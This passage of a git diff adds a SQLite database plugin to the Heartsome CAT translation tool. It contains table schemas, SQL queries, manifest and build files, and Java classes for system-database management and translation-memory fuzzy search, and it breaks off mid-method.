jdbc:sqlite:__PATH____FILE_SEPARATOR____DATABASE_NAME__ + + SQLite + + + + + + + + + CREATE TABLE HSCATSYSDB + ( + DBNAME TEXT NOT NULL, + QUALITY TEXT NOT NULL, + USERS TEXT, + TYPE INTEGER NOT NULL + ) + + + INSERT INTO HSCATSYSDB (DBNAME,QUALITY,TYPE) VALUES (?,?,?) + DELETE FROM HSCATSYSDB WHERE DBNAME=? + SELECT DBNAME, QUALITY, USERS FROM HSCATSYSDB WHERE TYPE = ? + + + + + + CREATE TABLE MHEADER + ( + MHPKID INTEGER PRIMARY KEY, + CREATIONTOOL TEXT, + CTVERSION TEXT, + TMF TEXT, + SRCLANG TEXT, + ADMINLANG TEXT, + DATATYPE TEXT, + SEGTYPE TEXT, + CREATIONID TEXT, + CREATIONDATE TEXT, + CHANGEID TEXT, + CHANGEDATE TEXT, + ENCODING TEXT + ) + + + CREATE TABLE MHEADERNODE + ( + MHNPKID INTEGER PRIMARY KEY, + MHPKID INTEGER NOT NULL, + NNAME TEXT NOT NULL, + NTYPE TEXT NOT NULL, + CONTENT TEXT NOT NULL + ) + + + create table MTU + ( + MTUPKID INTEGER PRIMARY KEY, + MHPKID INTEGER NOT NULL, + TUID TEXT, + CREATIONID TEXT, + CREATIONDATE TEXT, + CHANGEID TEXT, + CHANGEDATE TEXT, + CREATIONTOOL TEXT, + CTVERSION TEXT, + CLIENT TEXT, + PROJECTREF TEXT, + JOBREF TEXT + ) + + + CREATE TABLE LANG + ( + LANGCODE TEXT NOT NULL + ) + + + CREATE TABLE MPROP + ( + MPPKID INTEGER PRIMARY KEY NOT NULL, + PARENTNAME TEXT NOT NULL, + PARENTID INTEGER NOT NULL, + PNAME TEXT NOT NULL, + LANG TEXT, + ENCODING TEXT, + CONTENT TEXT NOT NULL + ) + + + CREATE TABLE MEXTRA + ( + MEPKID INTEGER PRIMARY KEY NOT NULL, + PARENTNAME TEXT NOT NULL, + PARENTID INTEGER NOT NULL, + NTYPE TEXT NOT NULL, + NNAME TEXT NOT NULL, + CONTENT TEXT NOT NULL + ) + + + CREATE TABLE MNOTE + ( + MNPKID INTEGER PRIMARY KEY NOT NULL, + PARENTNAME TEXT NOT NULL, + PARENTID INTEGER NOT NULL, + CONTENT TEXT NOT NULL, + CREATIONID TEXT, + CREATIONDATE TEXT, + CHANGEID TEXT, + CHANGEDATE TEXT, + ENCODING TEXT, + LANG TEXT + ) + + + CREATE TABLE TEXTDATA + ( + TPKID INTEGER PRIMARY KEY NOT NULL, + TYPE TEXT NOT NULL, + GROUPID INTEGER NOT NULL, + HASH INTEGER NOT NULL, + PURE TEXT NOT NULL, + CONTENT TEXT NOT NULL, + LANG TEXT NOT NULL, + PRECONTEXT TEXT, + NEXTCONTEXT TEXT + ) + + + + + + CREATE TABLE BATTRIBUTE + ( + BAPKID INTEGER PRIMARY KEY NOT NULL, + BMTHPKID INTEGER NOT NULL, + ANAME TEXT NOT NULL, + AVALUE TEXT NOT NULL, + PARENTNAME TEXT NOT NULL + ) + + + CREATE TABLE BMARTIFHEADER + ( + BMTHPKID INTEGER PRIMARY KEY NOT NULL, + HID TEXT, + CONTENT TEXT NOT NULL + ) + + + CREATE TABLE BREFOBJECTLIST + ( + BROLPKID INTEGER PRIMARY KEY NOT NULL, + BMTHPKID INTEGER NOT NULL, + ROLID TEXT, + CONTENT TEXT NOT NULL + ) + + + CREATE TABLE BTERMENTRY + ( + BTEPKID INTEGER PRIMARY KEY NOT NULL, + BMTHPKID INTEGER NOT NULL, + CID TEXT, + CONTENT TEXT NOT NULL + ) + + + CREATE TABLE BNODE + ( + NPKID INTEGER PRIMARY KEY NOT NULL, + PARENTPKID INTEGER NOT NULL, + PARENTNAME TEXT NOT NULL, + NTYPE TEXT NOT NULL, + NNAME TEXT NOT NULL, + NID TEXT, + CONTENT TEXT NOT NULL + ) + + + + + CREATE INDEX IDX_TEXTDATA_GROUPID ON TEXTDATA (GROUPID) + CREATE INDEX IDX_TEXTDATA_HASH ON TEXTDATA (HASH) + CREATE INDEX IDX_MPROP_PARENTID ON MPROP (PARENTID) + CREATE INDEX IDX_MEXTRA_PARENTID ON MEXTRA (PARENTID) + CREATE INDEX IDX_MNOTE_PARENTID ON MNOTE (PARENTID) + + + + + + + CREATE TABLE MATRIX___LANG__ + ( + MPKID INTEGER PRIMARY KEY NOT NULL, + TPKID INTEGER NOT NULL, + NGRAM INTEGER NOT NULL, + SEGSIZE INTEGER NOT NULL + ) + + + + CREATE INDEX IDX___LANG___NGRAM_SEGSIZE ON MATRIX___LANG__ (NGRAM,SEGSIZE) + + + INSERT INTO MATRIX___LANG__ + (TPKID,NGRAM,SEGSIZE) + VALUES (?,?,?) + + + DELETE FROM MATRIX___LANG__ + WHERE __WHERE__ + + + SELECT TPKID FROM MATRIX___LANG__ + WHERE SEGSIZE >=? AND SEGSIZE <=? AND NGRAM IN (__SET__) + + + SELECT TPKID FROM MATRIX_ENUS + WHERE SEGSIZE >=? AND SEGSIZE <=? AND NGRAM IN (__SET__) + GROUP BY TPKID HAVING COUNT(TPKID)>=? AND COUNT(TPKID)<=? + + + + + + + + SELECT LANG, PURE, CONTENT, PRECONTEXT,NEXTCONTEXT FROM TEXTDATA + WHERE GROUPID =? AND TYPE=? AND LANG=? + + + SELECT B.GROUPID GROUPID, LANG, PURE, CONTENT, PRECONTEXT,NEXTCONTEXT, TUID, CREATIONID, CREATIONDATE, + CHANGEID, CHANGEDATE, PROJECTREF, JOBREF, CLIENT + FROM + (SELECT GROUPID FROM TEXTDATA WHERE TPKID=?) A + LEFT JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + LEFT JOIN MTU C ON C.MTUPKID=A.GROUPID + WHERE B.TYPE='M' AND B.LANG=? OR B.LANG=? + + + SELECT B.GROUPID GROUPID, LANG, PURE, CONTENT, PRECONTEXT,NEXTCONTEXT, TUID, CREATIONID, CREATIONDATE, + CHANGEID, CHANGEDATE, PROJECTREF, JOBREF, CLIENT + FROM + (SELECT GROUPID FROM TEXTDATA WHERE TPKID IN (__SET__)) A + LEFT JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + LEFT JOIN MTU C ON C.MTUPKID=A.GROUPID + WHERE B.TYPE='M' AND B.LANG=? OR B.LANG=? + + + SELECT A.TPKID, A.PURE, B.PURE, C.CONTENT FROM TEXTDATA A + LEFT JOIN TEXTDATA B ON A.GROUPID=B.GROUPID AND B.LANG=? AND B.TYPE='B' + LEFT JOIN BNODE C ON A.GROUPID = C.PARENTPKID AND C.PARENTNAME = 'termEntry' + AND C.NTYPE = 'E' AND C.NNAME = 'note' AND (C.NID = ? OR C.NID = ?) + WHERE A.TYPE='B' AND A.LANG=? AND CHARINDEX(upper(trim(A.PURE)), ?) != 0 AND B.PURE IS NOT NULL; + + + SELECT DISTINCT(GROUPID) GROUPID FROM TEXTDATA WHERE TYPE='B' AND (__langwhere__) __where__ + + + SELECT DISTINCT(LANG) LANG FROM TEXTDATA WHERE GROUPID = ? + + + +SELECT C.MTUPKID TUID,C.CREATIONID CREATIONID,C.CREATIONDATE CREATIONDATE, C.CHANGEID CHANGEID, C.CHANGEDATE CHANGEDATE,D.MPPKID MPPKID,B.LANG LANG,__IGNORE_MARK__ +FROM (SELECT * FROM TEXTDATA WHERE __GROUPID_LIST__ TYPE = 'M' __LANGUAGE_LIST__) B +LEFT JOIN MTU C ON B.GROUPID = C.MTUPKID +LEFT JOIN MPROP D ON B.GROUPID = D.PARENTID AND D.PARENTNAME = 'TU' AND D.PNAME = 'x-flag' AND D.CONTENT = 'HS-Flag' + + + +SELECT B.GROUPID GROUPID,B.LANG LANG,__IGNORE_MARK__ +FROM (SELECT A.GROUPID FROM TEXTDATA A WHERE A.TYPE = 'B' __CONDITION__) A +LEFT JOIN TEXTDATA B ON A.GROUPID=B.GROUPID AND B.TYPE='B' __LANGUAGE_LIST__ + + + SELECT TPKID, GROUPID, PURE, CONTENT, PRECONTEXT, NEXTCONTEXT FROM TEXTDATA WHERE TPKID IN(__SET__) ORDER BY GROUPID DESC + + + SELECT TPKID, PURE, CONTENT, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, PROJECTREF + FROM TEXTDATA, MTU WHERE MTU.MTUPKID = TEXTDATA.GROUPID AND TEXTDATA.GROUPID = __GROUPID__ AND TEXTDATA.LANG = '__LANG__' + + + \ No newline at end of file diff --git a/database/net.heartsome.cat.database.sqlite/META-INF/MANIFEST.MF b/database/net.heartsome.cat.database.sqlite/META-INF/MANIFEST.MF new file mode 100644 index 0000000..0593397 --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/META-INF/MANIFEST.MF @@ -0,0 +1,16 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Database SQLite +Bundle-SymbolicName: net.heartsome.cat.database.sqlite +Bundle-Version: 8.0.1.R8b_v20130502 +Bundle-Activator: net.heartsome.cat.database.sqlite.Activator +Require-Bundle: org.eclipse.core.runtime, + net.heartsome.cat.database;bundle-version="8.0.1", + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Vendor: Heartsome Technologies Ltd. +Bundle-ClassPath: ., + lib/sqlite-jdbc-3.7.15-SNAPSHOT.jar +Import-Package: net.heartsome.cat.common.bean, + net.heartsome.cat.common.util diff --git a/database/net.heartsome.cat.database.sqlite/build.properties b/database/net.heartsome.cat.database.sqlite/build.properties new file mode 100644 index 0000000..5e39373 --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/build.properties @@ -0,0 +1,7 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + .,\ + Configure/,\ + lib/sqlite-jdbc-3.7.15-SNAPSHOT.jar diff --git a/database/net.heartsome.cat.database.sqlite/lib/sqlite-jdbc-3.7.15-SNAPSHOT.jar b/database/net.heartsome.cat.database.sqlite/lib/sqlite-jdbc-3.7.15-SNAPSHOT.jar new file mode 100644 index 0000000..71bcd0f Binary files /dev/null and b/database/net.heartsome.cat.database.sqlite/lib/sqlite-jdbc-3.7.15-SNAPSHOT.jar differ diff --git a/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/Activator.java b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/Activator.java new file mode 100644 index 0000000..1874b8d --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/Activator.java @@ -0,0 +1,56 @@ +package net.heartsome.cat.database.sqlite; + +import net.heartsome.cat.database.DBServiceProvider; + +import org.eclipse.core.runtime.Plugin; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +public class Activator extends Plugin { + + /** The plug-in ID */ + public static final String PLUGIN_ID = "net.heartsome.cat.database.sqlite"; + + /** The shared instance */ + private static Activator plugin; + + private ServiceRegistration sqliteServiceRegistration; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + + DbServiceProviderImpl service = new DbServiceProviderImpl(); + sqliteServiceRegistration = context.registerService(DBServiceProvider.class, service, null); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + + sqliteServiceRegistration.unregister(); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } +} diff --git a/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/DbServiceProviderImpl.java b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/DbServiceProviderImpl.java new file mode 100644 index 0000000..d1ba7ba --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/DbServiceProviderImpl.java @@ -0,0 +1,23 @@ +package net.heartsome.cat.database.sqlite; + +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.DBServiceProvider; +import net.heartsome.cat.database.SystemDBOperator; + +/** + * + * @author peason + * @version + * @since JDK1.6 + */ +public class DbServiceProviderImpl implements DBServiceProvider { + + public DBOperator getTmDatabaseInstance() { + return new TMDatabaseImpl(); + } + + public SystemDBOperator getOperateDBInstance() { + return new OperateSystemDBImpl(); + } + +} diff --git a/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/MetaDataImpl.java b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/MetaDataImpl.java new file mode 100644 index 0000000..2309bd7 --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/MetaDataImpl.java @@ -0,0 +1,27 @@ +package net.heartsome.cat.database.sqlite; + +import net.heartsome.cat.common.bean.MetaData; + +public class MetaDataImpl extends MetaData{ + + public boolean instanceSupported() { + return false; + } + + public boolean portSupported() { + return false; + } + + public boolean serverNameSupported() { + return false; + } + + public boolean passwordSupported() { + return false; + } + + public boolean userNameSupported() { + return false; + } + +} diff --git a/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/OperateSystemDBImpl.java b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/OperateSystemDBImpl.java new file mode 100644 index 0000000..0431608 --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/OperateSystemDBImpl.java @@ -0,0 +1,304 @@ +package net.heartsome.cat.database.sqlite; + +import java.io.File; +import java.net.URL; +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; +import java.util.Properties; + +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.database.sqlite.resource.Messages; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.sqlite.SQLiteConfig; + +public class OperateSystemDBImpl extends SystemDBOperator { + + private static final Logger LOGGER = LoggerFactory.getLogger(OperateSystemDBImpl.class); + + private Connection conn = null; + + public OperateSystemDBImpl() { + metaData = new MetaDataImpl(); + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL fileUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + dbConfig = new DBConfig(fileUrl); + metaData.setDbType(dbConfig.getDefaultType()); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.SystemDBOperator#createDB() + */ + public int createDB() throws SQLException { + List createTables = dbConfig.getCreateTables(); + createTables.addAll(dbConfig.getCreateIndexs()); + return createDB(createTables, metaData); + } + + /** + * 创建数æ®è¡¨ + * @param createTables + * @param metaData + * @return + * @throws SQLException + * ; + */ + private int createDB(List createTables, MetaData metaData) throws SQLException { + Statement stmt = null; + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + url = url.replace("__FILE_SEPARATOR__", File.separator); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + try { + conn = getConnection(driver, url, prop); + stmt = conn.createStatement(); + if (createTables != null) { + stmt.execute("begin immediate;"); + for (String i : createTables) { + String step = Utils.replaceParams(i, metaData); + stmt.executeUpdate(step); + } + stmt.execute("commit;"); + } + } catch (ClassNotFoundException e) { + LOGGER.error("", e); + e.printStackTrace(); + return Constants.FAILURE; + } catch (SQLException e) { + LOGGER.error("", e); + e.printStackTrace(); + try { + if (conn != null && !conn.isClosed()) { + stmt.execute("rollback;"); + } + } catch (SQLException e1) { + throw e1; + } + } finally { + freeConnection(stmt, conn); + } + return Constants.SUCCESS; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.SystemDBOperator#createSysDb() + */ + public int createSysDb() throws SQLException { + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + } catch (CloneNotSupportedException e) { + LOGGER.warn("", e); + return Constants.FAILURE; + } + List createTables = dbConfig.getCreateSysTables(); + return createDB(createTables, data); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.SystemDBOperator#checkDbConnection() + */ + public boolean checkDbConnection() { + return true; + } + + /** + * 检查 dbName 是å¦å­˜åœ¨ + * @param dbName + * @return ; + */ + private boolean checkDBIsExist(String dbName) { + String path = metaData.getDataPath() + File.separator + dbName; + File file = new File(path); + return file.exists() && file.isFile(); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.SystemDBOperator#checkSysDb() + */ + public boolean checkSysDb() { + return true; + // return checkDBIsExist(Constants.HSSYSDB); + } + + public void addSysDb(String dbName, String quality, int type) { + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + } catch (CloneNotSupportedException e) { + LOGGER.warn("", e); + return; + } + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + url = url.replace("__FILE_SEPARATOR__", File.separator); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + PreparedStatement stmt = null; + try { + conn = getConnection(driver, url, prop); + String insertDb = Utils.replaceParams(dbConfig.getInsertSysDb(), data); + stmt = conn.prepareStatement(insertDb); + stmt.setString(1, dbName); + stmt.setString(2, quality); + stmt.setInt(3, type); + stmt.execute(); + } catch (ClassNotFoundException e) { + LOGGER.warn("", e); + } catch (SQLException e) { + LOGGER.warn("", e); + } finally { + freeConnection(stmt, conn); + } + } + + /** + * 删除系统库中ä¿å­˜çš„指定的数æ®åº“ + * @param dbName + * @throws SQLException + */ + public void removeSysDb(String dbName) throws SQLException { + PreparedStatement pstmt = null; + String driver = dbConfig.getDriver(); + metaData.setDatabaseName(Constants.HSSYSDB); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + url = url.replace("__FILE_SEPARATOR__", File.separator); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + // åˆ é™¤ç³»ç»Ÿè¡¨ä¸­çš„æ•°æ® + prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + try { + conn = getConnection(driver, url, prop); + String removeDb = dbConfig.getRemoveSysDb(); + pstmt = conn.prepareStatement(removeDb); + pstmt.setString(1, dbName); + pstmt.execute(); + } catch (ClassNotFoundException e) { + LOGGER.warn("", e); + } finally { + freeConnection(pstmt, conn); + } + } + + /** + * 得到系统库中的存储的数æ®åº“å称 + * @return + * @throws SQLException + */ + public List getSysDbNames(int type) { + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + } catch (CloneNotSupportedException e) { + LOGGER.warn("", e); + return null; + } + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + url = url.replace("__FILE_SEPARATOR__", File.separator); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + PreparedStatement stmt = null; + ResultSet rs = null; + List result = new ArrayList(); + try { + conn = getConnection(driver, url, prop); + String sql = dbConfig.getSysDbList(); + stmt = conn.prepareStatement(sql); + stmt.setInt(1, type); + rs = stmt.executeQuery(); + while (rs.next()) { + result.add(rs.getString("DBNAME")); + } + } catch (ClassNotFoundException e) { + LOGGER.warn("", e); + } catch (SQLException e) { + LOGGER.warn("", e); + } finally { + if (rs != null) { + try { + rs.close(); + } catch (SQLException e) { + LOGGER.warn("", e); + } + } + freeConnection(stmt, conn); + } + return result; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.SystemDBOperator#dropDb(java.lang.String) + */ + public void dropDb(String dbName) throws SQLException { + if (checkDBIsExist(dbName)) { + boolean isDelete = new File(metaData.getDataPath() + File.separator + dbName).delete(); + if (!isDelete) { + throw new SQLException(Messages.getString("sqlite.OperateSystemDBImpl.errorMsg1")); + } + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.SystemDBOperator#checkDbExistOnServer() + */ + public boolean checkDbExistOnServer() { + return checkDBIsExist(metaData.getDatabaseName()); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.SystemDBOperator#getConnection(java.lang.String, java.lang.String, + * java.util.Properties) + */ + protected synchronized Connection getConnection(String driver, String url, Properties p) + throws ClassNotFoundException, SQLException { + if (conn != null && !conn.isClosed()) { + if (!conn.getAutoCommit()) { + conn.commit(); + } + conn.close(); + } + Class.forName(driver); + SQLiteConfig config = new SQLiteConfig(p); + return config.createConnection(url); + } + + protected void freeConnection(Statement stmt, Connection conn) { + if (stmt != null) { + try { + stmt.close(); + } catch (SQLException e) { + LOGGER.warn("", e); + } + } + try { + if (conn != null && !conn.isClosed()) { + if (!conn.getAutoCommit()) { + conn.commit(); + } + conn.close(); + } + } catch (SQLException e) { + LOGGER.warn("", e); + } + } +} diff --git a/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/TMDatabaseImpl.java b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/TMDatabaseImpl.java new file mode 100644 index 0000000..c117b99 --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/TMDatabaseImpl.java @@ -0,0 +1,520 @@ +package net.heartsome.cat.database.sqlite; + +import java.io.File; +import java.net.URL; +import java.sql.DriverManager; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.sql.Timestamp; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Properties; +import java.util.Vector; +import java.util.regex.Pattern; + +import net.heartsome.cat.common.bean.FuzzySearchResult; +import net.heartsome.cat.common.bean.TmxContexts; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.bean.TranslationUnitAnalysisResult; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.TranslationMemoryTools; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.database.bean.FuzzySearchResults; +import net.heartsome.cat.database.bean.TranslationUnitAnalysisResults; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; +import org.sqlite.Function; +import org.sqlite.SQLiteConfig; +import org.sqlite.SQLiteConfig.SynchronousMode; + +/** + * @author peason + * @version + * @since JDK1.6 + */ +public class TMDatabaseImpl extends DBOperator { + + public TMDatabaseImpl() { + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL fileUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + dbConfig = new DBConfig(fileUrl); + } + + @Override + public void start() throws SQLException, ClassNotFoundException { + SQLiteConfig conf = new SQLiteConfig(); + conf.setSynchronous(SynchronousMode.OFF); + + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + url = url.replace("__FILE_SEPARATOR__", File.separator); + String driver = dbConfig.getDriver(); + Class.forName(driver); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + SQLiteConfig config = new SQLiteConfig(prop); + config.setSynchronous(SynchronousMode.OFF); + conn = DriverManager.getConnection(url, config.toProperties()); + // conn.setAutoCommit(false); + } + + @Override + public void rollBack() throws SQLException { + Statement stmt = null; + if(null == conn){ + return; + } + try { + stmt = conn.createStatement(); + stmt.execute("rollback;"); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + @Override + public void beginTransaction() throws SQLException { + if(isReadOnly()){ + return; + } + Statement stmt = null; + try { + if(null == conn){ + return; + } + stmt = conn.createStatement(); + if(null == stmt){ + return; + } + stmt.setQueryTimeout(30); + stmt.execute("begin immediate;"); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + @Override + public void commit() throws SQLException { + if(isReadOnly()){ + return; + } + Statement stmt = null; + try { + if(null == conn){ + return; + } + stmt = conn.createStatement(); + stmt.execute("commit;"); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + @Override + public void fuzzySearch(String pureText, String fullText, String srcLang, String tgtLang, int minSimilarity, + boolean caseSensitive, int matchUpperLimit, int contextSize, String preHash, String nextHash, + boolean isIngoreTarget, FuzzySearchResults searchResults, int tagPelanty) throws SQLException { + int[] ngrams = generateNgrams(srcLang, pureText); + int size = ngrams.length; + if (size == 0) { + return; + } + // long l1 = System.currentTimeMillis(); + int min = size * minSimilarity / 100; + int max = size * 100 / minSimilarity; + Map tpkids = getCandidatesTextDataPks(srcLang, min, max, ngrams); + // System.out.println("查MATEX_LANG表:"+(System.currentTimeMillis() - l1)); + // 构建SQL + Iterator> it = tpkids.entrySet().iterator(); + StringBuffer bf = new StringBuffer(); + // long l = System.currentTimeMillis(); + while (it.hasNext()) { + Entry entry = it.next(); + String tpkid = entry.getKey(); + float c = entry.getValue(); + if (c >= min && c <= max) { + bf.append(","); + bf.append(tpkid); + } + } + if (bf.toString().equals("")) { + return; + } + String tag = TranslationMemoryTools.getInnerTagContent(fullText); + String textDataSql = dbConfig.getOperateDbSQL("fuzzySearch"); + textDataSql = textDataSql.replace("__SET__", bf.toString().substring(1)); + Statement stm = null; + ResultSet rs = null; + Statement tmpStm = null; + try { + stm = conn.createStatement(); + tmpStm = conn.createStatement(); + rs = stm.executeQuery(textDataSql); + // SELECT TPKID, GROUPID, PURE, CONTENT, PRECONTEXT, NEXTCONTEXT FROM TEXTDATA WHERE TPKID IN (__SET__) + String targetSql = dbConfig.getOperateDbSQL("fuzzySearch-target").replace("__LANG__", tgtLang); + String dbName = getMetaData().getDatabaseName(); + while (rs.next()) { + String _pureText = rs.getString(3); + String _fullText = rs.getString(4); + int similarity = 0; + if (caseSensitive) { + similarity = similarity(pureText, _pureText); + } else { + similarity = similarity(pureText.toLowerCase(), _pureText.toLowerCase()); + } + + String _tag = TranslationMemoryTools.getInnerTagContent(_fullText); + if (!isIngoreTarget && !tag.equals(_tag)) { + // 标记内容ä¸ç›¸ç­‰ï¼Œåˆ™æ‰§è¡Œç½šåˆ† + similarity -= tagPelanty; + } + + if (similarity < minSimilarity) { + continue; + } + int tuId = rs.getInt(2); + String temptargetSql = targetSql.replace("__GROUPID__", tuId + ""); + // PURE, CONTENT, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE ,PROJECTREF + ResultSet rs1 = null; + try { + rs1 = tmpStm.executeQuery(temptargetSql); + if (rs1.next()) { + TmxSegement source = new TmxSegement(_pureText, _fullText, srcLang); + source.setDbPk(rs.getInt(1)); + _pureText = rs1.getString(2); + _fullText = rs1.getString(3); + if (_pureText == null || _pureText.equals("") || _fullText == null || _fullText.equals("")) { + continue; + } + TmxSegement target = new TmxSegement(_pureText, _fullText, tgtLang); + target.setDbPk(rs1.getInt(1)); + TmxTU tu = new TmxTU(source, target); + FuzzySearchResult searchRs = new FuzzySearchResult(tu); + if (searchResults.contains(searchRs)) { + continue; + } + + String creationId = rs1.getString(4); + creationId = creationId == null ? "" : creationId; + String creationDate = ""; + Timestamp tempCdate = rs1.getTimestamp(5); + if (tempCdate != null) { + creationDate = DateUtils.formatToUTC(tempCdate.getTime()); + } + String changeid = rs1.getString(6); + changeid = changeid == null ? "" : changeid; + String changeDate = ""; + Timestamp tempChangeDate = rs1.getTimestamp(7); + if (tempChangeDate != null) { + changeDate = DateUtils.formatToUTC(tempChangeDate.getTime()); + } + String projectRef = rs1.getString(8); + projectRef = projectRef == null ? "" : projectRef; + tu.setCreationDate(creationDate); + tu.setCreationUser(creationId); + tu.setChangeDate(changeDate); + tu.setChangeUser(changeid); + List attrs = getTuMprops(tuId, "TU"); + tu.setProps(attrs); + + String preContext = rs.getString(5); + String nextContext = rs.getString(6); + tu.appendContext(TmxContexts.PRE_CONTEXT_NAME, preContext); + tu.appendContext(TmxContexts.NEXT_CONTEXT_NAME, nextContext); + if (similarity == 100 && CommonFunction.checkEdition("U")) { + if (preContext != null && nextContext != null) { + String[] preContexts = preContext.split(","); + String[] nextContexts = nextContext.split(","); + if (preContexts.length > contextSize) { + preContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + preContext += "," + preContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(preContext)) { //$NON-NLS-1$ + preContext = preContext.substring(1); + } + } + + if (nextContexts.length > contextSize) { + nextContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + nextContext += "," + nextContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(nextContext)) { //$NON-NLS-1$ + nextContext = nextContext.substring(1); + } + } + + if (preHash.equals(preContext) && nextHash.equals(nextContext)) { + similarity = 101; + } + } + } + searchRs.setDbName(dbName); + searchRs.setSimilarity(similarity); + searchRs.setDbOp(this); + searchRs.getTu().setTmId(tuId); + searchResults.add(searchRs); + } + } finally { + if (rs1 != null) { + rs1.close(); + } + } + } + } finally { + if (rs != null) { + rs.close(); + } + if (stm != null) { + stm.close(); + } + if (tmpStm != null) { + tmpStm.close(); + } + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.DBOperator#findAllTermsByText(java.lang.String, java.lang.String, + * java.lang.String) + */ + public Vector> findAllTermsByText(String srcPureText, String srcLang, String tarLang) + throws SQLException { + Vector> terms = new Vector>(); + // 构建SQL + String getTermSql = 